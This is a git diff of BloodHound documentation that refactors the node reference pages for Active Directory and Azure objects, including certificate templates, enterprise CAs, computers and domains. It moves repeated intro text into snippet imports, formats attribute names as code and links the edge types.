+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Node properties
-The node supports the properties of the table below.
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -22,4 +22,3 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Created | The time when the object was created in the directory. |
| Operating System | The operating system running on the computer, according to the corresponding property on the object in the directory. |
| Tenant ID | Unique identifier for the Azure tenant. |
-
diff --git a/docs/resources/nodes/az-web-app.mdx b/docs/resources/nodes/az-web-app.mdx
index 83295701..9dfb4b4e 100644
--- a/docs/resources/nodes/az-web-app.mdx
+++ b/docs/resources/nodes/az-web-app.mdx
@@ -3,24 +3,17 @@ title: AZWebApp
icon: '/images/nodes/azure/az-web-app.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
## References
diff --git a/docs/resources/nodes/base.mdx b/docs/resources/nodes/base.mdx
index a5648c53..2b698ed4 100644
--- a/docs/resources/nodes/base.mdx
+++ b/docs/resources/nodes/base.mdx
@@ -4,7 +4,11 @@ description:
icon: '/images/nodes/ad/base.svg'
---
-
+import AnyNodeEdgesIntro from '/snippets/resources/any-node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -12,21 +16,17 @@ The Base node is the basis for all other Active Directory nodes and is used when
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | - | The object's unique identifier in the directory. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | - | Object ID of the object. |
+| Object ID | `objectid` | - | The object's unique identifier in the directory. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | - | Object ID of the object. |
## Edges
-Any edge type may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
diff --git a/docs/resources/nodes/cert-template.mdx b/docs/resources/nodes/cert-template.mdx
index 65788c01..4b3f611f 100644
--- a/docs/resources/nodes/cert-template.mdx
+++ b/docs/resources/nodes/cert-template.mdx
@@ -3,7 +3,12 @@ title: CertTemplate
description:
icon: '/images/nodes/ad/cert-template.svg'
---
-
+
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,78 +16,74 @@ The CertTemplate node represents the Active Directory LDAP objects of the _pKICe
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Display Name | displayname | displayName | The display name of the object. |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Application Policies Required | applicationpolicies | msPKI-RA-Application-Policies | The required RA application policy EKU in the counter signatures of certificate requests. |
-| Application Policy Extensions | certificateapplicationpolicy | msPKI-Certificate-Application-Policy | List of EKUs that might go into issued certificates (see Effective EKUs). |
-| Authentication Enabled | authenticationenabled | - | Whether the certificate can be used for authentication. See this blog post for more details on how it is calculated: [https://specterops.io/blog/2024/01/24/adcs-attack-paths-in-bloodhound-part-1/](https://specterops.io/blog/2024/01/24/adcs-attack-paths-in-bloodhound-part-1/) |
-| Authorized Signatures Required | authorizedsignatures | msPKI-RA-Signature | Specifies the number of enrollment registration authority signatures that are required in an enrollment request. |
-| Certificate Name Flags | certificatenameflag | msPKI-Certificate-Name-Flag | Contains the flags related to constructing the Subject and Subject Alternative Name in an issued certificate. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and its location in AD. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Effective EKUs | effectiveekus | - | The list EKUs that will be in the Enhanced Key Usage (2.5.29.37) property of issued certificates.
It will contain the EKUs of msPKI-Certificate-Application-Policy by default. It will contain the EKUs of pKIExtendedKeyUsage instead if the schema version is 1 and pKIExtendedKeyUsage is not empty. |
-| Enhanced Key Usage | ekus | pKIExtendedKeyUsage | List of EKUs that might go into issued certificates (see Effective EKUs). |
-| Enrollee Supplies Subject | enrolleesuppliessubject | msPKI-Certificate-Name-Flag (CT\_FLAG\_ENROLLEE_SUPPLIES
_SUBJECT) | Whether the certificate template requires the enrollee to supply the Subject Alternative Name data. |
-| Enrollment Flags | enrollmentflag | msPKI-Enrollment-Flag | Contains enrollment-related flags. |
-| Issuance Policies Required | issuancepolicies | msPKI-RA-Policies | Contains the list of required policy OIDs from those who sign enrollment requests. |
-| Issuance Policy Extensions | certificatepolicy | msPKI-Certificate-Policy | List of issuance polices that are included in issued certificates. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| No Security Extension | nosecurityextension | msPKI-Certificate-Name-Flag (CT\_FLAG\_NO\_SECURITY\_
EXTENSION) | Whether issued certificates will include a certificate extension (SID of the enrollee), which may be required for authentication. |
-| OID | oid | msPKI-Cert-Template-OID | Specifies the object identifier of the certificate template. |
-| Renewal Period | renewalperiod | pKIOverlapPeriod | The period by which issued certificates should be renewed before they expire. |
-| Requires Manager Approval | requiresmanagerapproval | msPKI-Enrollment-Flag (CT\_FLAG\_PEND\_ALL\_REQUESTS) | Whether certificate requests will require manager approval. |
-| Schema Version | schemaversion | ms-PKI-Template-Schema-Version | The schema version of the certificate template. |
-| Subject Alternative Name Require DNS | subjectaltrequiredns | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT\_ALT\_
REQUIRE_DNS) | Whether the certificate template requires the DNS name of the subject for the Subject Alternative Name. |
-| Subject Alternative Name Require Domain DNS | subjectaltrequiredomaindns | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT\_ALT\_
REQUIRE\_DOMAIN\_DNS) | Whether the certificate template requires the domain DNS name of the subject for the Subject Alternative Name. |
-| Subject Alternative Name Require Email | subjectaltrequireemail | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT\_ALT\_
REQUIRE_EMAIL) | Whether the certificate template requires the email of the subject for the Subject Alternative Name. |
-| Subject Alternative Name Require SPN | subjectaltrequirespn | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT\_ALT\_
REQUIRE_SPN) | Whether the certificate template requires the UPN (yes, not the SPN) of the subject for the Subject Alternative Name. |
-| Subject Alternative Name Require UPN | subjectaltrequireupn | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT\_ALT\_
REQUIRE_UPN) | Whether the certificate template requires the UPN of the subject for the Subject Alternative Name. |
-| Subject Require Email | subjectrequireemail | msPKI-Certificate-Name-Flag (CT\_FLAG\_SUBJECT_
REQUIRE_EMAIL) | Whether the certificate template requires the email of the subject. |
-| Validity Period | validityperiod | pKIExpirationPeriod | The validity period for issued certificates. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Display Name | `displayname` | `displayName` | The display name of the object. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Application Policies Required | `applicationpolicies` | `msPKI-RA-Application-Policies` | The required RA application policy EKU in the counter signatures of certificate requests. |
+| Application Policy Extensions | `certificateapplicationpolicy` | `msPKI-Certificate-Application-Policy` | List of EKUs that might go into issued certificates (see Effective EKUs). |
+| Authentication Enabled | `authenticationenabled` | - | Whether the certificate can be used for authentication. See this blog post for more details on how it is calculated: [https://specterops.io/blog/2024/01/24/adcs-attack-paths-in-bloodhound-part-1/](https://specterops.io/blog/2024/01/24/adcs-attack-paths-in-bloodhound-part-1/) |
+| Authorized Signatures Required | `authorizedsignatures` | `msPKI-RA-Signature` | Specifies the number of enrollment registration authority signatures that are required in an enrollment request. |
+| Certificate Name Flags | `certificatenameflag` | `msPKI-Certificate-Name-Flag` | Contains the flags related to constructing the Subject and Subject Alternative Name in an issued certificate. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and its location in AD. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Effective EKUs | `effectiveekus` | - | The list EKUs that will be in the Enhanced Key Usage (2.5.29.37) property of issued certificates.
It will contain the EKUs of `msPKI-Certificate-Application-Policy` by default. It will contain the EKUs of `pKIExtendedKeyUsage` instead if the schema version is 1 and `pKIExtendedKeyUsage` is not empty. |
+| Enhanced Key Usage | `ekus` | `pKIExtendedKeyUsage` | List of EKUs that might go into issued certificates (see Effective EKUs). |
+| Enrollee Supplies Subject | `enrolleesuppliessubject` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) | Whether the certificate template requires the enrollee to supply the Subject Alternative Name data. |
+| Enrollment Flags | `enrollmentflag` | `msPKI-Enrollment-Flag` | Contains enrollment-related flags. |
+| Issuance Policies Required | `issuancepolicies` | `msPKI-RA-Policies` | Contains the list of required policy OIDs from those who sign enrollment requests. |
+| Issuance Policy Extensions | `certificatepolicy` | `msPKI-Certificate-Policy` | List of issuance polices that are included in issued certificates. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| No Security Extension | `nosecurityextension` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_NO_SECURITY_EXTENSION`) | Whether issued certificates will include a certificate extension (SID of the enrollee), which may be required for authentication. |
+| OID | `oid` | `msPKI-Cert-Template-OID` | Specifies the object identifier of the certificate template. |
+| Renewal Period | `renewalperiod` | `pKIOverlapPeriod` | The period by which issued certificates should be renewed before they expire. |
+| Requires Manager Approval | `requiresmanagerapproval` | `msPKI-Enrollment-Flag` (`CT_FLAG_PEND_ALL_REQUESTS`) | Whether certificate requests will require manager approval. |
+| Schema Version | `schemaversion` | `ms-PKI-Template-Schema-Version` | The schema version of the certificate template. |
+| Subject Alternative Name Require DNS | `subjectaltrequiredns` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS`) | Whether the certificate template requires the DNS name of the subject for the Subject Alternative Name. |
+| Subject Alternative Name Require Domain DNS | `subjectaltrequiredomaindns` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`) | Whether the certificate template requires the domain DNS name of the subject for the Subject Alternative Name. |
+| Subject Alternative Name Require Email | `subjectaltrequireemail` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL`) | Whether the certificate template requires the email of the subject for the Subject Alternative Name. |
+| Subject Alternative Name Require SPN | `subjectaltrequirespn` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_ALT_REQUIRE_SPN`) | Whether the certificate template requires the UPN (yes, not the SPN) of the subject for the Subject Alternative Name. |
+| Subject Alternative Name Require UPN | `subjectaltrequireupn` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_ALT_REQUIRE_UPN`) | Whether the certificate template requires the UPN of the subject for the Subject Alternative Name. |
+| Subject Require Email | `subjectrequireemail` | `msPKI-Certificate-Name-Flag` (`CT_FLAG_SUBJECT_REQUIRE_EMAIL`) | Whether the certificate template requires the email of the subject. |
+| Validity Period | `validityperiod` | `pKIExpirationPeriod` | The validity period for issued certificates. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| AllExtendedRights | Inbound Object Control |
-| DelegatedEnrollmentAgent | - |
-| Enroll | Inbound Object Control |
-| EnrollOnBehalfOf | - |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| Owns | Inbound Object Control |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
-| WritePKIEnrollmentFlag | Inbound Object Control |
-| WritePKINameFlag | Inbound Object Control |
+| [AllExtendedRights](/resources/edges/all-extended-rights) | Inbound Object Control |
+| [DelegatedEnrollmentAgent](/resources/edges/delegated-enrollment-agent) | - |
+| [Enroll](/resources/edges/enroll) | Inbound Object Control |
+| [EnrollOnBehalfOf](/resources/edges/enroll-on-behalf-of) | - |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
+| [WritePKIEnrollmentFlag](/resources/edges/write-pki-enrollment-flag) | Inbound Object Control |
+| [WritePKINameFlag](/resources/edges/write-pki-name-flag) | Inbound Object Control |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| EnrollOnBehalfOf | - |
-| ExtendedByPolicy | - |
-| PublishedTo | Published To CAs |
+| [EnrollOnBehalfOf](/resources/edges/enroll-on-behalf-of) | - |
+| [ExtendedByPolicy](/resources/edges/extended-by-policy) | - |
+| [PublishedTo](/resources/edges/published-to) | Published To CAs |
## References
diff --git a/docs/resources/nodes/computer.mdx b/docs/resources/nodes/computer.mdx
index 279d66d2..6df6f4ff 100644
--- a/docs/resources/nodes/computer.mdx
+++ b/docs/resources/nodes/computer.mdx
@@ -3,35 +3,30 @@ title: Computer
icon: '/images/nodes/ad/computer.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
- Properties which are blank/null will not be shown in the Entity Panel.
-
+
| **Entity Panel name** | **Description** |
| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the DACL_Protected security descriptor flag. |
+| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the `DACL_Protected` security descriptor flag. |
| Admin Count | Whether the object currently, or possibly ever has belonged to a certain set of highly privileged groups. For Active Directory nodes this is related to the AdminSDHolder object and the ProtectAdminGroups background task. Read more about that [here](https://specterops.io/resources/adminsdholder). |
| AdminSDHolder Protected | The authoritative security descriptor of this object matches that of the AdminSDHolder container and is therefore protected by it. AdminSDHolder is a security descriptor template that the ProtectAdminGroups background task stamps on protected objects. |
| Allows Unconstrained Delegation | Whether the object is allowed to perform unconstrained kerberos delegation. See more info about that here: [https://blog.harmj0y.net/redteaming/another-word-on-delegation/](https://blog.harmj0y.net/redteaming/another-word-on-delegation/) |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Enabled | Whether the computer object is enabled. |
| LAPS Enabled | Whether LAPS is running on the computer. This is determined by checking whether the associated MS LAPS properties are populated on the computer object. |
-| Last Logon | The last time the domain controller you got this data from handled a logon request for the object. Attribute 'lastlogon'. |
-| Last Logon (Replicated) | The last time any domain controller handled a logon for this object,
the value is, by default, only updated if the latest logon is greater than or equal to 14 days than the previous value. Attribute 'lastlogontimestamp'. |
+| Last Logon | The last time the domain controller you got this data from handled a logon request for the object. Attribute `lastLogon`. |
+| Last Logon (Replicated) | The last time any domain controller handled a logon for this object,
the value is, by default, only updated if the latest logon is greater than or equal to 14 days than the previous value. Attribute `lastLogonTimestamp`. |
| Operating System | The operating system running on the computer, according to the corresponding property on the object in the directory. |
| Owned | BloodHound Enterprise: Not applicable.
BloodHound CE: Whether the object is marked as Owned, used to mark that the object has been compromised. |
| Password Last Set | The human-readable date for when the user’s password last changed. This is stored internally in Unix epoch format |
diff --git a/docs/resources/nodes/container.mdx b/docs/resources/nodes/container.mdx
index d83f0e34..4f601624 100644
--- a/docs/resources/nodes/container.mdx
+++ b/docs/resources/nodes/container.mdx
@@ -3,22 +3,21 @@ title: Container
icon: '/images/nodes/ad/container.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
| **Entity Panel name** | **Description** |
| Display Name | The display name for the object. |
| Object ID | The object's object GUID, a unique identifier in the directory. |
-| ACL Inheritance Denied | Whether the object is allowing ACL inheritance from its parent OU/container. |
+| ACL Inheritance Denied | Whether the object is allowing ACL inheritance from its parent [OU](/resources/nodes/ou)/container. |
## References
diff --git a/docs/resources/nodes/domain.mdx b/docs/resources/nodes/domain.mdx
index cb958713..1f94b1b8 100644
--- a/docs/resources/nodes/domain.mdx
+++ b/docs/resources/nodes/domain.mdx
@@ -3,15 +3,14 @@ title: Domain
icon: '/images/nodes/ad/domain.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -21,7 +20,7 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| ACL Inheritance Denied | Identifies whether an object is allowing ACL inheritance to itself. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Functional Level | The functional level of the Active Directory domain. This becomes particularly relevant in certain attack scenarios, such as resource-based constrained delegation. |
## References
diff --git a/docs/resources/nodes/enterprise-ca.mdx b/docs/resources/nodes/enterprise-ca.mdx
index b9cdaf54..ac761391 100644
--- a/docs/resources/nodes/enterprise-ca.mdx
+++ b/docs/resources/nodes/enterprise-ca.mdx
@@ -3,7 +3,12 @@ title: EnterpriseCA
description:
icon: '/images/nodes/ad/enterprise-ca.svg'
---
-
+
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,73 +16,68 @@ The EnterpriseCA node represents the Active Directory LDAP objects of the _pKIEn
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Basic Constraint Path Length | basicconstraintpathlength | caCertificate (X509Certificate) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
-| CA Name | caname | name | Name of the CA in the directory. |
-| CA Security Collected | casecuritycollected | - | Whether the Security ACL stored in registry of the CA host has been collected. |
-| Certificate Chain | certchain | caCertificate (X509Certificate) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
-| Certificate Name | certname | caCertificate (X509Certificate) | The name of the CA's certificate. |
-| Certificate Thumbprint | certthumbprint | caCertificate (X509Certificate) | The thumbprint (unique identifier) of the CA's certificate. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and its location in AD. |
-| DNS Hostname | dnshostname | dNSHostName | The DNS host name of the CA host. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Enrollment Agent Restrictions Collected | enrollmentagentrestrictions
collected | - | Whether the EnrollmentAgentRights ACL stored in registry of the CA host has been collected. |
-| Flags | flags | flags | Various flags controlling features of the enrollment service. |
-| Has Basic Constraints | hasbasicconstraints | caCertificate (X509Certificate) | Whether the CA certificate has basic constraints. |
-| Has Enrollment Agent Restrictions | hasenrollmentagent
restrictions | - | Whether the enrollment agent restrictions are enabled. |
-| Is User Specifies San Enabled Collected | isuserspecifiessanenabled
collected | - | Whether the EditFlags registry value of the CA host has been collected. |
-| Is User Specifies San Enabled | isuserspecifiessanenabled | - | Whether the CA host has the _user specifies SAN_ (EDITF_ATTRIBUTESUBJECTALTNAME2) flag present in its EditFlags registry value. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| Role Separation Enabled Collected | roleseparationenabled
collected | - | Whether the RoleSeparationEnabled registry value of the CA host has been collected. |
-| Role Separation Enabled | roleseparationenabled | - | Whether the CA host enforces role separation i.e. users are not permitted to have the CA Administrator role and if they have the Certificate Manager role and vice versa; |
-| Unresolved Published Certificate Templates | unresolvedpublishedtemplates | certificateTemplates | The published certificate templates which could not be found. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Basic Constraint Path Length | `basicconstraintpathlength` | `caCertificate` (`X509Certificate`) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
+| CA Name | `caname` | `name` | Name of the CA in the directory. |
+| CA Security Collected | `casecuritycollected` | - | Whether the Security ACL stored in registry of the CA host has been collected. |
+| Certificate Chain | `certchain` | `caCertificate` (`X509Certificate`) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
+| Certificate Name | `certname` | `caCertificate` (`X509Certificate`) | The name of the CA's certificate. |
+| Certificate Thumbprint | `certthumbprint` | `caCertificate` (`X509Certificate`) | The thumbprint (unique identifier) of the CA's certificate. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and its location in AD. |
+| DNS Hostname | `dnshostname` | `dNSHostName` | The DNS host name of the CA host. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Enrollment Agent Restrictions Collected | `enrollmentagentrestrictionscollected` | - | Whether the EnrollmentAgentRights ACL stored in registry of the CA host has been collected. |
+| Flags | `flags` | `flags` | Various flags controlling features of the enrollment service. |
+| Has Basic Constraints | `hasbasicconstraints` | `caCertificate` (`X509Certificate`) | Whether the CA certificate has basic constraints. |
+| Has Enrollment Agent Restrictions | `hasenrollmentagentrestrictions` | - | Whether the enrollment agent restrictions are enabled. |
+| Is User Specifies San Enabled Collected | `isuserspecifiessanenabledcollected` | - | Whether the EditFlags registry value of the CA host has been collected. |
+| Is User Specifies San Enabled | `isuserspecifiessanenabled` | - | Whether the CA host has the _user specifies SAN_ (`EDITF_ATTRIBUTESUBJECTALTNAME2`) flag present in its EditFlags registry value. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| Role Separation Enabled Collected | `roleseparationenabledcollected` | - | Whether the RoleSeparationEnabled registry value of the CA host has been collected. |
+| Role Separation Enabled | `roleseparationenabled` | - | Whether the CA host enforces role separation i.e. users are not permitted to have the CA Administrator role and if they have the Certificate Manager role and vice versa; |
+| Unresolved Published Certificate Templates | `unresolvedpublishedtemplates` | `certificateTemplates` | The published certificate templates which could not be found. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| Enroll | Inbound Object Control |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| HostsCAService | PKI Hierarchy |
-| IssuedSignedBy | PKI Hierarchy |
-| ManageCA | Inbound Object Control |
-| ManageCertificates | Inbound Object Control |
-| Owns | Inbound Object Control |
-| PublishedTo | Published Templates |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
+| [Enroll](/resources/edges/enroll) | Inbound Object Control |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [HostsCAService](/resources/edges/hosts-ca-service) | PKI Hierarchy |
+| [IssuedSignedBy](/resources/edges/issued-signed-by) | PKI Hierarchy |
+| [ManageCA](/resources/edges/manage-ca) | Inbound Object Control |
+| [ManageCertificates](/resources/edges/manage-certificates) | Inbound Object Control |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [PublishedTo](/resources/edges/published-to) | Published Templates |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| EnterpriseCAFor | PKI Hierarchy |
-| IssuedSignedBy | PKI Hierarchy |
-| TrustedForNTAuth | PKI Hierarchy |
+| [EnterpriseCAFor](/resources/edges/enterprise-ca-for) | PKI Hierarchy |
+| [IssuedSignedBy](/resources/edges/issued-signed-by) | PKI Hierarchy |
+| [TrustedForNTAuth](/resources/edges/trusted-for-nt-auth) | PKI Hierarchy |
## References
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/designing-and-implementing-a-pki-part-i-design-and-planning/ba-p/396953](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/designing-and-implementing-a-pki-part-i-design-and-planning/ba-p/396953)
* [https://learn.microsoft.com/en-us/windows/win32/adschema/c-pkienrollmentservice](https://learn.microsoft.com/en-us/windows/win32/adschema/c-pkienrollmentservice)
-
diff --git a/docs/resources/nodes/gpo.mdx b/docs/resources/nodes/gpo.mdx
index bca70587..de947d14 100644
--- a/docs/resources/nodes/gpo.mdx
+++ b/docs/resources/nodes/gpo.mdx
@@ -3,15 +3,14 @@ title: GPO
icon: '/images/nodes/ad/gpo.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -21,7 +20,7 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Object ID | The object's GUID, a unique identifier in the directory. |
| ACL Inheritance Denied | Identifies whether an object is allowing ACL inheritance to itself. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
